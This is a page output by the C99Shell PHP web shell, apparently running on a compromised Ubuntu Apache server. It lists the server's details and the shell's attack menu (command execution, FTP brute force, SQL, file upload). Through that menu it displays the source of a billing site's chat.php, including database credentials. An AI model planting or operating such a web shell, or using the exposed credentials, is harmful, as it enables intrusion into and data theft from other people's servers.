!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/billing/   drwxr-xr-x
Free 13.05 GB of 57.97 GB (22.52%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     chat.php (5.02 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*

Copyright (c) 2009 Anant Garg (anantgarg.com | inscripts.com)

This script may be used for non-commercial purposes only. For any
commercial purposes, please contact the author at
anant.garg@inscripts.com

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES
OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
OTHER DEALINGS IN THE SOFTWARE.

*/

define ('DBPATH','localhost');
define ('DBUSER','root');
define ('DBPASS','');
define ('DBNAME','bansbilling');

session_start();

global 
$dbh;
$dbh mysql_connect(DBPATH,DBUSER,DBPASS);
mysql_selectdb(DBNAME,$dbh);

if (
$_GET['action'] == "chatheartbeat") { chatHeartbeat(); }
if (
$_GET['action'] == "sendchat") { sendChat(); }
if (
$_GET['action'] == "closechat") { closeChat(); }
if (
$_GET['action'] == "startchatsession") { startChatSession(); }

if (!isset(
$_SESSION['chatHistory'])) {
    
$_SESSION['chatHistory'] = array();
}

if (!isset(
$_SESSION['openChatBoxes'])) {
    
$_SESSION['openChatBoxes'] = array();
}

function 
chatHeartbeat() {

    
$sql "select * from chat_history  where (receiver = '".mysql_real_escape_string($_SESSION['username'])."' AND recd = 0) order by id ASC";
    
$query mysql_query($sql);
    
$items '';

    
$chatBoxes = array();

    while (
$chat mysql_fetch_array($query)) {

        if (!isset(
$_SESSION['openChatBoxes'][$chat['sender']]) && isset($_SESSION['chatHistory'][$chat['sender']])) {
            
$items $_SESSION['chatHistory'][$chat['sender']];
        }

        
$chat['message'] = sanitize($chat['message']);

        
$items .= <<<EOD
                       {
            "s": "0",
            "f": "
{$chat['sender']}",
            "m": "
{$chat['message']}"
       },
EOD;

    if (!isset(
$_SESSION['chatHistory'][$chat['sender']])) {
        
$_SESSION['chatHistory'][$chat['sender']] = '';
    }

    
$_SESSION['chatHistory'][$chat['sender']] .= <<<EOD
                           {
            "s": "0",
            "f": "
{$chat['sender']}",
            "m": "
{$chat['message']}"
       },
EOD;

        unset(
$_SESSION['tsChatBoxes'][$chat['sender']]);
        
$_SESSION['openChatBoxes'][$chat['sender']] = $chat['sent'];
    }

    if (!empty(
$_SESSION['openChatBoxes'])) {
    foreach (
$_SESSION['openChatBoxes'] as $chatbox => $time) {
        if (!isset(
$_SESSION['tsChatBoxes'][$chatbox])) {
            
$now time()-strtotime($time);
            
$time date('g:iA M dS'strtotime($time));

            
$message "Sent at $time";
            if (
$now 180) {
                
$items .= <<<EOD
{
"s": "2",
"f": "
$chatbox",
"m": "
{$message}"
},
EOD;

    if (!isset(
$_SESSION['chatHistory'][$chatbox])) {
        
$_SESSION['chatHistory'][$chatbox] = '';
    }

    
$_SESSION['chatHistory'][$chatbox] .= <<<EOD
        {
"s": "2",
"f": "
$chatbox",
"m": "
{$message}"
},
EOD;
            
$_SESSION['tsChatBoxes'][$chatbox] = 1;
        }
        }
    }
}

    
$sql "update chat_history set recd = 1 where receiver = '".mysql_real_escape_string($_SESSION['username'])."' and recd = 0";
    
$query mysql_query($sql);

    if (
$items != '') {
        
$items substr($items0, -1);
    }
header('Content-type: application/json');
?>
{
        "items": [
            <?php echo $items;?>
        ]
}

<?php
            
exit(0);
}

function 
chatBoxSession($chatbox) {

    
$items '';

    if (isset(
$_SESSION['chatHistory'][$chatbox])) {
        
$items $_SESSION['chatHistory'][$chatbox];
    }

    return 
$items;
}

function 
startChatSession() {
    
$items '';
    if (!empty(
$_SESSION['openChatBoxes'])) {
        foreach (
$_SESSION['openChatBoxes'] as $chatbox => $void) {
            
$items .= chatBoxSession($chatbox);
        }
    }


    if (
$items != '') {
        
$items substr($items0, -1);
    }

header('Content-type: application/json');
?>
{
        "username": "<?php echo $_SESSION['username'];?>",
        "items": [
            <?php echo $items;?>
        ]
}

<?php


    
exit(0);
}

function 
sendChat() {
    
$from $_SESSION['username'];
    
$to $_POST['to'];
    
$message $_POST['message'];

    
$_SESSION['openChatBoxes'][$_POST['to']] = date('Y-m-d H:i:s'time());

    
$messagesan sanitize($message);

    if (!isset(
$_SESSION['chatHistory'][$_POST['to']])) {
        
$_SESSION['chatHistory'][$_POST['to']] = '';
    }

    
$_SESSION['chatHistory'][$_POST['to']] .= <<<EOD
                       {
            "s": "1",
            "f": "
{$to}",
            "m": "
{$messagesan}"
       },
EOD;


    unset(
$_SESSION['tsChatBoxes'][$_POST['to']]);

    
$sql "insert into chat_history (sender,receiver,message,sent) values ('".mysql_real_escape_string($from)."', '".mysql_real_escape_string($to)."','".mysql_real_escape_string($message)."',NOW())";
    
$query mysql_query($sql);
    echo 
"1";
    exit(
0);
}

function 
closeChat() {

    unset(
$_SESSION['openChatBoxes'][$_POST['chatbox']]);

    echo 
"1";
    exit(
0);
}

function 
sanitize($text) {
    
$text htmlspecialchars($textENT_QUOTES);
    
$text str_replace("\n\r","\n",$text);
    
$text str_replace("\r\n","\n",$text);
    
$text str_replace("\n","<br>",$text);
    return 
$text;
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0064 ]--